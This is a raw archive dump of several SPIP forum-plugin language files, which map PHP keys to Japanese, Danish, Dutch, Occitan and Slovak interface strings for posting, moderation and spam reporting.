'forum_texte' => 'あなたのメッセージテキスト:', # MODIF
'forum_titre' => '件名:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'この選択を確認',
'forum_voir_avant' => '投稿する前にメッセージをプレビュー', # MODIF
'forum_votre_email' => 'あなたのe-mailアドレス:', # MODIF
'forum_votre_nom' => 'あなたの名前（か仮名）:', # MODIF
'forum_vous_enregistrer' => 'この掲示板に投稿する前に
あなたは登録しなければなりません。あなたに与えられた個人的なIDを入力してくれてありがとう。もしまだ登録してないなら、あなたはするべきです。',
'forum_vous_inscrire' => '登録者。',
// I
'icone_poster_message' => 'メッセージの投稿',
'icone_suivi_forum' => '公開掲示板の追跡: @nb_forums@ 投稿',
'icone_suivi_forums' => '掲示板を管理する',
'icone_supprimer_message' => 'このメッセージを削除',
'icone_valider_message' => 'このメッセージを確認',
'info_activer_forum_public' => '<i>公開掲示板を利用可能にするため、それらの検査方法の標準を選択して下さい:</i>', # MODIF
'info_appliquer_choix_moderation' => 'この検査方法を使う:',
'info_desactiver_forum_public' => '公開掲示板は使わない。公開掲示板は記事ごとに許可する。それらはセクション、ニュース、その他によって禁止できる。',
'info_envoi_forum' => '記事の著者たちに掲示板を送る',
'info_fonctionnement_forum' => '掲示板の操作:',
'info_gauche_suivi_forum_2' => '<i>掲示板の続報</i>ページはあなたのサイトの管理道具です。（議論したり編集できません）。この記事の公開掲示板のすべての投稿を表示して、それらの投稿を管理することが可能です。', # MODIF
'info_liens_syndiques_3' => '掲示板',
'info_liens_syndiques_4' => 'are',
'info_liens_syndiques_5' => '掲示板',
'info_liens_syndiques_6' => 'is',
'info_liens_syndiques_7' => '適正検査前。',
'info_mode_fonctionnement_defaut_forum_public' => '公開掲示板の標準の操作方法',
'info_option_email' => 'サイトの訪問者が、記事に関連している掲示板にメッセージを投稿した時、記事の著者たちにe-mailによってこのメッセージを通知できます。あなたはこのオプションを使いたいですか ？', # MODIF
'info_pas_de_forum' => '掲示板無し',
'item_activer_forum_administrateur' => '管理者用の掲示板を作る',
'item_desactiver_forum_administrateur' => '管理者用の掲示板を作らない',
// L
'lien_reponse_article' => '記事へ返信',
'lien_reponse_breve_2' => 'ニュースに返信',
'lien_reponse_rubrique' => 'セクションに返信',
'lien_reponse_site_reference' => '参照されたサイトに返信:', # MODIF
// O
'onglet_messages_internes' => '内部のメッセージ',
'onglet_messages_publics' => '公開されているメッセージ',
'onglet_messages_vide' => 'テキストがないメッセージ',
// R
'repondre_message' => 'このメッセージに返信',
// T
'titre_cadre_forum_administrateur' => '管理者のプライベートな掲示板',
'titre_cadre_forum_interne' => '関係者用の掲示板',
'titre_forum' => '掲示板',
'titre_forum_suivi' => '掲示板の続報',
'titre_page_forum_suivi' => '掲示板の続報'
);
?>
forum_da.php 0000666 00000013767 15252247467 0007111 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'alene for fremtidige artikler (ingen opdatering af databasen).',
'bouton_radio_articles_tous' => 'for alle artikler uden undtagelse.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'for alle artikler med aktivt tilknyttet forum.',
'bouton_radio_enregistrement_obligatoire' => 'Tvungen registrering (brugere skal give sig til kende ved at oplyse deres e-mail-adresse for at kunne komme med indlæg).',
'bouton_radio_moderation_priori' => 'Forhåndsgodkendelse (bidrag vises først efter at de er godkendt af administratorer).', # MODIF
'bouton_radio_modere_abonnement' => 'Kun for abonnenter (bidragydere skal oplyse e-mail-adresse, før de kan indsende bidrag)',
'bouton_radio_modere_posteriori' => 'Efterfølgende godkendelse (bidrag er straks synlige men en administrator kan senere slette dem)', # MODIF
'bouton_radio_modere_priori' => 'Forhåndsgodkendelse', # MODIF
'bouton_radio_publication_immediate' => 'Indlæg offentliggøres straks (bidrag vises straks efter at de er sendt, administratorer kan slette dem senere).',
// F
'form_pet_message_commentaire' => 'Meddelelse eller kommentar?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Du har ikke mere adgang til disse forummer',
'forum_attention_dix_caracteres' => '<b>Advarsel!</b> dit indlæg er mindre end ti tegn langt.', # MODIF
'forum_attention_trois_caracteres' => '<b>Advarsel!</b> dit emne er mindre end tre tegn langt.', # MODIF
'forum_avez_selectionne' => 'Du har valgt:',
'forum_cliquer_retour' => 'Klik <a href=\'@retour_forum@\'>her</a> for at fortsætte.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Dette forum benytter forhåndsgodkendelse: dit bidrag vil først blive offentliggjort, når det er godkendt af en administrator.', # MODIF
'forum_lien_hyper' => '<b>Hypertekst link</b> (valgfrit)', # MODIF
'forum_message_definitif' => 'Endeligt indlæg: send til webstedet',
'forum_message_trop_long' => 'Dit indlæg er for langt. Maksimal længde er 20.000 tegn.', # MODIF
'forum_ne_repondez_pas' => 'Undlad at besvare denne e-mail, men gå i stedet til forummet på denne adresse:', # MODIF
'forum_page_url' => '(Hvis dit indlæg henviser til en artikel, der er offentliggjort på Internettet, eller til en side der indeholder yderligere oplysninger, så angiv venligst sidens titel og dens adresse eller URL nedenfor).',
'forum_poste_par' => 'Indlæg @parauteur@ som svar på din artikel.', # MODIF
'forum_qui_etes_vous' => '<b>Hvem er du?</b> (valgfrit)', # MODIF
'forum_texte' => 'Indlæggets tekst:', # MODIF
'forum_titre' => 'Titel:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Kontroller gyldighed',
'forum_voir_avant' => 'Vis indlæg før indsendelse', # MODIF
'forum_votre_email' => 'Din e-mail-adresse:', # MODIF
'forum_votre_nom' => 'Dit navn (eller alias):', # MODIF
'forum_vous_enregistrer' => 'Før du kan deltage i dette forum,
skal du tilmelde dig. Indtast venligst nedenfor de
personlige adgangsoplysninger, du har fået tilsendt.
Hvis du ikke allerede har tilmeldt dig, skal du gøre det.',
'forum_vous_inscrire' => 'tilmeld dig </a> først.', # MODIF
// I
'icone_poster_message' => 'Opret meddelelse',
'icone_suivi_forum' => 'Opfølgning i offentligt forum: @nb_forums@ bidrag',
'icone_suivi_forums' => 'Administrer forummer',
'icone_supprimer_message' => 'Slet denne meddelelse',
'icone_valider_message' => 'Godkend meddelelse',
'info_activer_forum_public' => '<i>For at åbne op for offentlige forummer, skal du vælge, hvordan deres godkendelsesprocedure skal være som standard:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Anvend denne godkendelsesprocedure:',
'info_desactiver_forum_public' => 'Fravælg brugen af offentlige forummer. Der kan åbnes op for offentlige forummer fra gang til gang i forhold til artikler.
De vil være lukkede i forhold til afsnit, meddelelser osv..',
'info_envoi_forum' => 'Send indlæg i forummer til artiklernes forfattere',
'info_fonctionnement_forum' => 'Forummets funktionsmåde:',
'info_gauche_suivi_forum_2' => '<i>Forumopfølgning</i> er et administrationsværktøj (ikke et diskussions- eller redigeringsområde). Siden viser alle indlæg i webstedets forummer, både på det offentlige og det private område, og giver dig mulighed for at administrere indlæggene.', # MODIF
'info_liens_syndiques_3' => 'forummer',
'info_liens_syndiques_4' => 'er',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'er',
'info_liens_syndiques_7' => 'afventer godkendelse.',
'info_mode_fonctionnement_defaut_forum_public' => 'Standard funktionsmåde for offentlige forummer',
'info_option_email' => 'Når en besøgende på webstedet sender en meddelelse til forummet, som drejer sig om denne artikel, kan artiklens forfatter få underretning om meddelelsen via e-mail. Ønsker du at bruge denne mulighed?', # MODIF
'info_pas_de_forum' => 'intet forum',
'item_activer_forum_administrateur' => 'Slå funktionen administratorforum til',
'item_desactiver_forum_administrateur' => 'Slå funktionen administratorforum fra',
// L
'lien_reponse_article' => 'Kommenter denne artikel',
'lien_reponse_breve_2' => 'Kommenter denne nyhed',
'lien_reponse_rubrique' => 'Kommenter dette afsnit',
'lien_reponse_site_reference' => 'Kommenter dette link:', # MODIF
// O
'onglet_messages_internes' => 'Interne meddelelser',
'onglet_messages_publics' => 'Offentlige meddelelser',
'onglet_messages_vide' => 'Meddelelser uden tekst',
// R
'repondre_message' => 'Lav et svar på dette indlæg',
// T
'titre_cadre_forum_administrateur' => 'Administratorers private forum',
'titre_cadre_forum_interne' => 'Internt forum',
'titre_forum' => 'Internt forum',
'titre_forum_suivi' => 'Opfølgning på forummer',
'titre_page_forum_suivi' => 'Opfølgning på forummer'
);
?>
forum_nl.php 0000666 00000024322 15252247467 0007123 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Geen bericht in het forum',
// B
'bouton_radio_articles_futurs' => 'voor toekomstige artikels alleen (geen bewerking op de databank).',
'bouton_radio_articles_tous' => 'voor alle artikels zonder uitzondering.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'voor alle artikels, behalve deze waarvan het forum is gedesactiveerd.',
'bouton_radio_enregistrement_obligatoire' => 'Registratie verplicht (om bijdragen te kunnen
posten, dienen gebruikers zich eerst in te schrijven en hun e-mail adres te bezorgen).',
'bouton_radio_moderation_priori' => 'Vooraf modereren (de
bijdragen worden pas gepubliceerd na goedkeuring door een van de beheerders).',
'bouton_radio_modere_abonnement' => 'op aanvraag',
'bouton_radio_modere_posteriori' => 'nadien modereren',
'bouton_radio_modere_priori' => 'vooraf modereren',
'bouton_radio_publication_immediate' => 'Onmiddellijke publicatie van berichten
(bijdragen worden zichtbaar zodra ze verstuurd worden; beheerders kunnen nadien nog steeds
berichten schrappen).',
// D
'documents_interdits_forum' => 'Verboden documenten in het forum',
// E
'erreur_enregistrement_message' => 'Wegens technische problemen kon je bericht niet opgeslaagd worden',
// F
'form_pet_message_commentaire' => 'Een bericht, een commentaar?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Je hebt geen toegang meer tot deze forums.',
'forum_attention_dix_caracteres' => '<b>Opgelet!</b> : je bericht moet minstens 10 tekens bevatten.',
'forum_attention_message_non_poste' => 'Opgelet, je hebt je bericht niet gepost !',
'forum_attention_nb_caracteres_mini' => '<b>Opgelet !</b> Uw boodschap moet tenminste @min@ tekens bevatten.',
'forum_attention_trois_caracteres' => '<b>Opgelet!</b> : je bericht moet minstens 3 tekens bevatten.',
'forum_attention_trop_caracteres' => '<b>Opgelet !</b> uw bericht is te lang (@compte@ karakters) : om opgeslagen te worden, mag het niet meer dan @max@ karakters tellen.',
'forum_avez_selectionne' => 'Je hebt gekozen:',
'forum_cliquer_retour' => 'Klik <a href=\'@retour_forum@\'>hier</a> om door te gaan.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Dit forum wordt vooraf gemodereerd: je bijdrage zal pas verschijnen nadat een redacteur van de website het heeft goedgekeurd.',
'forum_lien_hyper' => 'webverwijzing',
'forum_message' => 'Je bericht',
'forum_message_definitif' => 'Definitief bericht : versturen',
'forum_message_trop_long' => 'Je bericht is te lang. De maximale lengte is 20.000 tekens.',
'forum_ne_repondez_pas' => 'Niet reageren op deze mail, maar op het forum om het volgende adres :',
'forum_page_url' => '(Als je bericht naar een artikel op het web verwijst of naar een pagina die meer informatie bevat, kunt u hier de titel en de URL van deze webverwijzing invoeren.)',
'forum_permalink' => 'Permanente link naar het commentaar',
'forum_poste_par' => 'bericht gepost @parauteur@ als vervolg van artikel « @titre@ » .',
'forum_poste_par_court' => 'Bericht gepost @parauteur@.',
'forum_poste_par_generique' => 'Bericht gepost @parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => 'Wie ben je ?',
'forum_saisie_texte_info' => 'In dit formulier mag je de SPIP kortingen gebruiken <code>[->url] {{vet}} {cursief} <quote> <code></code> en de HTML codes <code><q> <del> <ins></code>. Om een paragraaf aan te maken, laat gewoon lege lijnen in.',
'forum_texte' => 'Tekst van je bericht',
'forum_titre' => 'Titel',
'forum_url' => 'Je website',
'forum_valider' => 'Keuze bevestigen',
'forum_voir_avant' => 'Bericht bekijken alvorens te posten',
'forum_votre_email' => 'Je e-mailadres',
'forum_votre_nom' => 'Je naam',
'forum_vous_enregistrer' => 'Om deel te nemen aan
dit forum, dien je op voorhand te registreren. Gelieve
hieronder je logingegevens in te vullen die je bezorgd werden
Als je nog niet geregistreerd bent, dien je ',
'forum_vous_inscrire' => 'je inschrijven.',
// I
'icone_bruler_message' => 'Als Spam rapporteren',
'icone_bruler_messages' => 'Als SPAM rapporteren',
'icone_legitimer_message' => 'Geldig rapporteren',
'icone_poster_message' => 'Een bericht versturen',
'icone_suivi_forum' => 'Opvolging van het publieke forum: @nb_forums@ bijdrage(n)',
'icone_suivi_forums' => 'Forums opvolgen/beheren',
'icone_supprimer_message' => 'Dit bericht wissen',
'icone_supprimer_messages' => 'Die boodschappen verwijderen',
'icone_valider_message' => 'Bericht goedkeuren',
'icone_valider_messages' => 'Deze berichten goedkeuren',
'icone_valider_repondre_message' => 'Boodschap valideren en beantwoorden',
'info_1_message_forum' => '1 boodschap in het forum',
'info_activer_forum_public' => 'Om de openbare forums te activeren, dien je een standaardinstelling
voor het modereren te kiezen :',
'info_appliquer_choix_moderation' => 'Pas deze moderatievorm toe ::',
'info_config_forums_prive' => 'In de privé ruimte van de site, kunt u verschillende soorten forums activeren :',
'info_config_forums_prive_admin' => 'Een forum dat voor de beheerders van de site is gereserveerd :',
'info_config_forums_prive_global' => 'Een globaal forum, open voor alle redacteuren :',
'info_config_forums_prive_objets' => 'Een forum onder elk artikel, kort, verwezen site, enz. :',
'info_desactiver_forum_public' => 'Het gebruik van de publieke forums desactiveren.
De publieke forums kunnen per artikel toegestaan worden
; Ze worden niet toegestaan op de rubrieken en berichten, enz.',
'info_envoi_forum' => 'Versturen van de forums aan de auteurs van de artikels',
'info_fonctionnement_forum' => 'Werking van het forum:',
'info_forums_liees_mot' => 'De forumboodschappen met dit trefwoord',
'info_gauche_suivi_forum_2' => 'De pagina <i>Forums opvolgen/beheren</i> is een werktuig van beleid van uw site (en niet een ruimte van discussie of opstellen). Zij geeft alle bijdragen van de forums van de site te kennen, evengoed laten deze van de openbare site als van de particuliere ruimte toe en u om deze bijdragen te beheren.', # A revoir
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'zijn',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'is',
'info_liens_syndiques_7' => 'nog niet goedgekeurd',
'info_liens_texte' => 'Link(s) inbegrepen in de boodschap',
'info_liens_titre' => 'Link(s) inbegrepen in het titel van de boodschap',
'info_mode_fonctionnement_defaut_forum_public' => 'Standaardwerkwijze van de publieke forums',
'info_nb_messages_forum' => '@nb@ boodschappen in de fora',
'info_option_email' => 'Wanneer een bezoeker van de site een nieuw bericht in het forum opstelt dat met een artikel wordt verenigd, kunnen de auteurs van het artikel van dit bericht per e-mail verwittigd worden. Voor elk soort forum aangeven als men deze keuze moet gebruiken.',
'info_pas_de_forum' => 'geen forum',
'info_question_visiteur_ajout_document_forum' => 'Als u de bezoekers wilt machtigen om documenten (beelden, klanken…) samen te voegen aan hun berichten van forum, geef hieronder de lijst van de toegelaten uitbreidingen van documenten aan (bv.: gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Als u alle soorten documenten wilt toestaan die als betrouwbaar door SPIP worden beschouwd, een ster zetten. Om niets toe te staan, niets aangeven.',
'info_selectionner_message' => 'Selecteer de boodschappen :',
'interface_formulaire' => 'Formulier interface',
'interface_onglets' => 'Tabs interface',
'item_activer_forum_administrateur' => 'Forum van beheerders activeren',
'item_config_forums_prive_global' => 'Het redacteuren forum activeren',
'item_config_forums_prive_objets' => 'Deze forums activeren',
'item_desactiver_forum_administrateur' => 'Forum van de beheerders desactiveren',
'item_non_config_forums_prive_global' => 'Het forum van de redacteuren desactiveren',
'item_non_config_forums_prive_objets' => 'Deze forums desactiveren',
// L
'label_selectionner' => 'Selecteren : ',
'lien_reponse_article' => 'Beantwoord dit artikel',
'lien_reponse_breve_2' => 'Beantwoord dit nieuwsbericht',
'lien_reponse_message' => 'Het bericht antwoorden',
'lien_reponse_rubrique' => 'Beantwoord deze rubriek',
'lien_reponse_site_reference' => 'Antwoord op gekoppelde site',
'lien_vider_selection' => 'Selectie leegmaken',
// M
'messages_aucun' => 'Geen',
'messages_meme_auteur' => 'Alle boodschappen van dit auteur',
'messages_meme_email' => 'Alle boodschappen van dit e-mail',
'messages_meme_ip' => 'Alle boodschappen van dit IP',
'messages_off' => 'Verwijderd',
'messages_perso' => 'Persoonlijk ',
'messages_privadm' => 'Beheerders',
'messages_prive' => 'Privaat',
'messages_privoff' => 'Verwijderd',
'messages_privrac' => 'Algemene',
'messages_prop' => 'Voorgestelde',
'messages_publie' => 'Gepubliceerde ',
'messages_spam' => 'Spam',
'messages_tous' => 'Alles',
// O
'onglet_messages_internes' => 'Interne berichten',
'onglet_messages_publics' => 'Publieke berichten',
'onglet_messages_vide' => 'Berichten zonder tekst',
// R
'repondre_message' => 'Dit bericht beantwoorden',
// S
'statut_off' => 'Verwijderd',
'statut_original' => 'origineel',
'statut_prop' => 'Voorgesteld',
'statut_publie' => 'Gepubliceerd',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'Aarzelt niet om uw advies te geven dank zij het forum dat aan dit artikel wordt vastgemaakt (beneden van bladzijde).',
'texte_en_cours_validation' => 'Deze inhoud zijn in afwachting van validatie',
'texte_en_cours_validation_forum' => 'Aarzelt niet om uw advies te geven dank zij de forums die hun worden vastgemaakt.',
'texte_messages_publics' => 'Openbare boodschappen op :',
'titre_cadre_forum_administrateur' => 'Privé-forum voor de beheerders',
'titre_cadre_forum_interne' => 'Intern forum',
'titre_config_forums_prive' => 'Forums van de particuliere ruimte',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Vervolg van de forums',
'titre_page_forum_suivi' => 'Vervolg van de forums',
'titre_selection_action' => 'Selectie',
'tout_voir' => 'Alles zien',
// V
'voir_messages_objet' => 'boodschappen zien'
);
?>
paquet-forum_sk.php 0000666 00000000722 15252247467 0010422 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Diskusné fóra SPIPu (súkromné a verejné)',
'forum_slogan' => 'Riadenie súkromných aj verejných diskusných fór v SPIPe'
);
?>
forum_oc_ni.php 0000666 00000014507 15252247467 0007605 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'ai articles futurs unicament (minga d’accion sus la basa de donadas).',
'bouton_radio_articles_tous' => 'a toi lu articles sensa excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à toi lu articles, levats aquelu que lo fòro es desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (lu utilisaires si devon abonar en donant li sieui adreças e-mail denant de poder postar li contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion <i>a priòri</i> (li contribucions apareisson pas publicament après validacion dei administrators).', # MODIF
'bouton_radio_modere_abonnement' => 'sus abonament',
'bouton_radio_modere_posteriori' => 'moderacion à posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderacion à priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicacion immediata dei messatges (li contribucions apareisson sus lo còup que son mandadi, lu administrators li poadon suprimir pi).',
// D
'documents_interdits_forum' => 'Documents proïbits dins lo fòro',
// F
'form_pet_message_commentaire' => 'Un messatge, una remarca ?',
'forum' => 'Fòro',
'forum_acces_refuse' => 'Podètz pas plus accedir en aquelu forums.',
'forum_attention_dix_caracteres' => '<b>Dàida !</b> lo voastre messatge deu aver au manco dètz caractèrs.',
'forum_attention_trois_caracteres' => '<b>Dàida !</b> lo voastre titre deu aver au manco tres caractèrs.',
'forum_attention_trop_caracteres' => '<b>Atencion !</b> lo voastre messatge es tròp long (@compte@ caractèrs) : per si poder registrar, cau pas que passe @max@ caractèrs.', # MODIF
'forum_avez_selectionne' => 'Avètz seleccionat :',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>aquí</a> per continuar.',
'forum_forum' => 'fòro',
'forum_info_modere' => 'Aqueu fòro es moderat à priòri : la voastra contribucion apareisserà après èstre estada validada d’un administrator dau sit.', # MODIF
'forum_lien_hyper' => '<b>Ligam ipertèxt</b> (opcionau)', # MODIF
'forum_message_definitif' => 'Messatge definitieu: mandar au sit',
'forum_message_trop_long' => 'Lo voastre messatge es tròup lòng. La talha maximala es de 20000 caractèrs.', # MODIF
'forum_ne_repondez_pas' => 'Respondatz pas à-n-aquel e-mail ma sus lo fòro à l’adreça seguenta : ', # MODIF
'forum_page_url' => '(se lo voastre messatge si referisse à un article publicat sus lo web, ò à una pàgina que fornisse mai d’informacions, podetz marcar çai sota lo titre de la pàgina e la sieu adreça.)',
'forum_poste_par' => 'Messatge postat @parauteur@ à la seguida de l’article « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Cu siètz ?</b> (opcionau)', # MODIF
'forum_texte' => 'Tèxt dau voastre messatge :', # MODIF
'forum_titre' => 'Titre :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Validar aquesta chausida',
'forum_voir_avant' => 'Veire aqueu messatge denant de lo postar', # MODIF
'forum_votre_email' => 'La voastra adreça e-mail :', # MODIF
'forum_votre_nom' => 'Lo voastre nom (ò pseudonim) :', # MODIF
'forum_vous_enregistrer' => 'Per participar à
aquest fòro, vos devètz registrar d’en premier. Mercé
d’indicar çai sota l’identificant personau que vos es
estat fornit. Se siètz pas registrat, devètz',
'forum_vous_inscrire' => 'vos marcar.',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Seguit dau fòro public : @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Sègre/gerar lu fòros',
'icone_supprimer_message' => 'Suprimir aqueu messatge',
'icone_valider_message' => 'Validar aqueu messatge',
'info_activer_forum_public' => '<i>Per activar lu fòros publics, vorgatz chausir lu sieus mòde
de moderacion predefinits:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquela chausida de moderacion :',
'info_desactiver_forum_public' => 'Desactivar l’utilisacion dei fòros publics. Lu fòros publics podràn èstre autorisats au cas per cas sus lu articles; seràn proïbits sus li rubricas, brèvas, eca.',
'info_envoi_forum' => 'Mandadís dei fòros ai autors dei articles',
'info_fonctionnement_forum' => 'Foncionament dau fòro :',
'info_gauche_suivi_forum_2' => 'La pàgina de <i>seguit dei fòros</i> es una aisina de gestion dau voastre sit (ma es pas un espaci de discussion ò de redaccion). Fa paréisser toti li contribucions dei fòros dau sit, autant ben aqueli dau sit public coma de l’espaci privat e vos permete de gerar aqueli contribucions.', # MODIF
'info_liens_syndiques_3' => 'fòros',
'info_liens_syndiques_4' => 'son',
'info_liens_syndiques_5' => 'fòro',
'info_liens_syndiques_6' => 'es',
'info_liens_syndiques_7' => 'en aspèra de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit dei fòros publics',
'info_option_email' => 'Quora un visitaire dau sit poasta un messatge novèu dins lo fòro associat à un article, lu autors de l’article poadon èstre avertits d’aqueu messatge per corrier electronic. Indicatz per cada tipe de fòro se cau utilisar aquela opcion.',
'info_pas_de_forum' => 'Minga de fòro',
'item_activer_forum_administrateur' => 'Activar lo fòro dei administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo fòro dei administrators',
// L
'lien_reponse_article' => 'Respoasta à l’article',
'lien_reponse_breve_2' => 'Respoasta à la brèva',
'lien_reponse_rubrique' => 'Respoasta à la rubrica',
'lien_reponse_site_reference' => 'Respoasta au sit referençat :', # MODIF
// O
'onglet_messages_internes' => 'Messatges internes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges sensa tèxt',
// R
'repondre_message' => 'Respoandre à-n-aqueu messatge',
// S
'statut_original' => 'originau',
// T
'titre_cadre_forum_administrateur' => 'Fòro privat dei administrators',
'titre_cadre_forum_interne' => 'Fòro interne',
'titre_forum' => 'Fòro',
'titre_forum_suivi' => 'Seguit dei fòros',
'titre_page_forum_suivi' => 'Seguit dei fòros'
);
?>
paquet-forum_nl.php 0000666 00000000666 15252247467 0010425 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Forum van SPIP (private en openbaar)',
'forum_slogan' => 'Beheer van de private en openbare SPIP fora'
);
?>
forum_sk.php 0000666 00000024774 15252247467 0007142 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Žiaden príspevok v diskusnom fóre',
// B
'bouton_radio_articles_futurs' => 'len pre budúce články (žiadna zmena databázy).',
'bouton_radio_articles_tous' => 'pre všetky články bez výnimky.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'pre všetky články, okrem tých s deaktivovanými diskusnými fórami.',
'bouton_radio_enregistrement_obligatoire' => 'Vyžaduje sa registrácia (používatelia sa musia zaregistrovať uvedením svojej e-mailovej adresy predtým, ako budú môcť posielať príspevky).',
'bouton_radio_moderation_priori' => 'Kontrola pred zverejnením (príspevky sa zobrazia až potom, čo ich
schvália administrátori).',
'bouton_radio_modere_abonnement' => 'Vyžaduje sa registrácia',
'bouton_radio_modere_posteriori' => 'kontrola po zverejnení',
'bouton_radio_modere_priori' => 'kontrola pred zverejnením',
'bouton_radio_publication_immediate' => 'Okamžité publikovanie príspevkov
(príspevky sa zobrazia len čo budú odoslané; ak bude treba, administrátori
ich môžu potom odstrániť).',
// D
'documents_interdits_forum' => 'Dokumenty nie sú v tomto diskusnom fóre povolené',
// E
'erreur_enregistrement_message' => 'Váš príspevok sa z technických príčin nepodarilo uložiť.',
// F
'form_pet_message_commentaire' => 'Nejaký príspevok alebo komentáre?',
'forum' => 'Diskusné fórum',
'forum_acces_refuse' => 'K týmto diskusným fóram už viac nemáte prístup.',
'forum_attention_dix_caracteres' => '<b>Upozornenie!</b> Váš príspevok musí mať aspoň 10 znakok.',
'forum_attention_message_non_poste' => 'Pozor, neodoslali ste svoj príspevok!',
'forum_attention_nb_caracteres_mini' => '<b>Pozor!</b> Váš príspevok musí mať aspoň @min@ znakov.',
'forum_attention_trois_caracteres' => '<b>Upozornenie!</b> Názov musí mať aspoň 3 znaky.',
'forum_attention_trop_caracteres' => '<b>Pozor!</b> váš príspevok je pridlhý (@compte@ znamkov): aby ste ho mohli uložiť, príspevok nesmie mať viac ako @max@ znakov.',
'forum_avez_selectionne' => 'Vybrali ste:',
'forum_cliquer_retour' => 'Kliknite <a href=\'@retour_forum@\'>sem,</a> aby ste mohli pokračovať.',
'forum_forum' => 'diskusné fórum',
'forum_info_modere' => 'Toto diskusné fórum sa kontroluje pred zverejnením: váš príspevok sa zobrazí až potom, čo ho potvrdí administrátor stránky.',
'forum_lien_hyper' => 'Hypertextový odkaz',
'forum_message' => 'Váš príspevok',
'forum_message_definitif' => 'Koniec úprav: poslať príspevok',
'forum_message_trop_long' => 'Vaša správa je pridlhá. Maximálna dĺžka je 20 000 znakov.',
'forum_ne_repondez_pas' => 'Neodpovedajte na tento mejl priamo - prosím, použite diskusné fórum:',
'forum_page_url' => '(If your message refers to an article published on the web or to a page providing further information, please enter the title of the page and its URL below).',
'forum_permalink' => 'Trvalý odkaz na komentár',
'forum_poste_par' => 'Príspevok @parauteur@ odoslaný k článku "@titre@".',
'forum_poste_par_court' => 'Príspevok odoslaný@parauteur@.',
'forum_poste_par_generique' => 'Príspevok odoslaný@parauteur@ (@objet@ " @titre@ ").',
'forum_qui_etes_vous' => 'Kto ste?',
'forum_saisie_texte_info' => 'Tento formulár akceptuje skratky SPIPu <code>[->url] {{tučné}} {kurzíva} <citácia> <kód></code> a kód HTML <code><q> <del> <ins>.</code> Ak chcete vytvoriť odseky, jednoducho vynechajte niekoľko riadkov.',
'forum_texte' => 'Text vášho príspevku',
'forum_titre' => 'Titulok',
'forum_url' => 'Vaša internetová stránka',
'forum_valider' => 'Potvrdiť výber',
'forum_voir_avant' => 'Ukážka',
'forum_votre_email' => 'Vaša e-mailová adresa',
'forum_votre_nom' => 'Vaše meno',
'forum_vous_enregistrer' => 'Na to, aby ste mohli diskutovať v tomto diskusnom fóre, musíte byť zaregistrovaný.
Prosím, zadajte svoj osobný identifikátor.
ak ste sa ešte nezaregistrovali, musíte',
'forum_vous_inscrire' => 'sa zaregistrovať.',
// I
'icone_bruler_message' => 'Označiť ako spam',
'icone_bruler_messages' => 'Označiť ako spam',
'icone_legitimer_message' => 'Označiť ako prípustný',
'icone_poster_message' => 'Poslať príspevok',
